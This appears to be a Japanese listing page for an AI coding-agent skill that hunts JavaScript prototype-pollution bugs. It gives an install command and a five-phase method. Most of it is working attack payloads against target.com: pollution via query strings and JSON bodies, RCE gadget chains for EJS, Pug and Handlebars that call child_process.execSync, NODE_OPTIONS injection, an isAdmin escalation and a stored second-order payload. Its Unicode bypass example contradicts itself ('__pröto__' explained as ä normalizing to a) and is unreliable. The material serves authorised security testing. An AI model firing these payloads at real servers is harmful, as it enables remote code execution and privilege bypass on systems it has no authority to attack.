hunt-prototype-pollution について
hunt-prototype-pollutionは、JavaScriptのプロトタイプ汚染を調べるアプリケーションセキュリティ研究者向けのスキルです。クライアント側とサーバー側の攻撃経路、影響の検証、XSSや権限回避、コード実行につながる可能性を扱います。
主な機能
- 01クライアント側の汚染経路の調査
- 02サーバー側のオブジェクトマージ検証
- 03テンプレートとプロセスのガジェット確認
- 04フィルター回避手法の評価
- 05影響と攻撃チェーンの検証
活用シーン
- 01ユーザー入力をマージするJavaScriptアプリのテスト
- 02汚染がテンプレートやプロセスの呼び出し先に届くか確認
- 03DOM XSSや権限への影響の検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-prototype-pollutionインストール後、Claude Code で/hunt-prototype-pollutionを入力して読み込まれたか確認します。
詳細
プロトタイプ汚染の調査
ユーザーが指定したプロパティが Object.prototype にマージされ、実行時のすべてのオブジェクトに影響する、プロトタイプ汚染の脆弱性を調査します。クライアント側の汚染により、DOM XSS、Cookie の操作、認証の回避が可能になります。サーバー側の汚染は、テンプレートエンジン(EJS、Pug、Handlebars)や CLI ラッパー(child_process、NODE_OPTIONS)のガジェットチェーンを介して RCE につながる可能性があります。
使用するタイミング
- アプリケーションが JavaScript/Node.js を使用し、ユーザー入力に対してオブジェクトのマージ、クローン、拡張処理を行っている場合。
- jQuery の
$.extend(true, ...)や$.fn.merge()が、信頼できないデータに対してディープコピーを行っている場合。 - Lodash の
_.merge()、_.defaultsDeep()、_.set()がリクエストボディやクエリパラメーターを受け取る場合。 - ユーザーが制御するオブジェクトと同じランタイム内で、テンプレートエンジン(EJS、Pug、Handlebars)を使用している場合。
- サーバー側の Node.js で、汚染されたオプションを介して
child_process.exec/spawnにアクセスできる場合。
迅速な検出
# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
手順
フェーズ 1 — クライアント側の汚染ベクトル
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
フェーズ 2 — ガジェットチェーンによるサーバー側 RCE
EJS RCE(outputFunctionName):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'
Pug RCE(self.block):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
Handlebars RCE(compileFunction):
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'
NODE_OPTIONS のインジェクション:
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
フェーズ 3 — フィルター回避の手法
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1 # blocked
https://target.com/?__pröto__[test]=1 # bypass (ä normalizes to a)
# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"constructor":{"prototype":{"polluted":true}}}'
# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"__proto__":{"polluted":[]}}' # forces array coercion
# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
フェーズ 4 — クライアント側の悪用
// Verify pollution in browser console
Object.prototype.polluted // should return the injected value
// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}
// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
フェーズ 5 — 二次汚染
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"name":{"__proto__":{"isAdmin":true}}}'
# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context
注意点
- リクエスト内に
__proto__があるだけでは、脆弱性の発見とは言えません。 汚染されたプロパティが実際にアプリケーションの動作に影響する場合に限り、報告してください。 - Node.js 12 以降と新しいバージョンの lodash には、部分的な緩和策があります。 まず古いバージョンでテストしてください。
- サーバー側の汚染にはガジェットが必要です。 シンク(exec、eval、テンプレート)に到達しないまま無関係なオブジェクトを汚染しても、影響はありません。
- BlackFan のクライアント側プロトタイプ汚染カタログは標準的なリファレンスです。調査結果を照合してください。
検証
__proto__[test]=valueを注入し、ブラウザーのコンソールまたはサーバーのレスポンスでObject.prototype.test === valueになることを確認します。- RCE の場合は、コマンドの実行結果(id/whoami)が見えるシンクに出力されることを確認します。
- XSS の場合は、汚染されたプロパティが
innerHTML、eval、document.write、またはスクリプトのsrc属性に到達することを確認します。 - マージ/コピー関数と、汚染されたプロパティのチェーンを正確に記録します。
関連スキル
hunt-nodejs— Express/Next.js におけるプロトタイプ汚染など、Node.js 固有の脆弱性。hunt-xss— クライアント側のプロトタイプ汚染を介して悪用できることが多い DOM XSS。hunt-api-misconfig—hasOwnPropertyによるチェックを行わずに、リクエストボディ内のオブジェクトをマージする問題。
コメント
Markdown 対応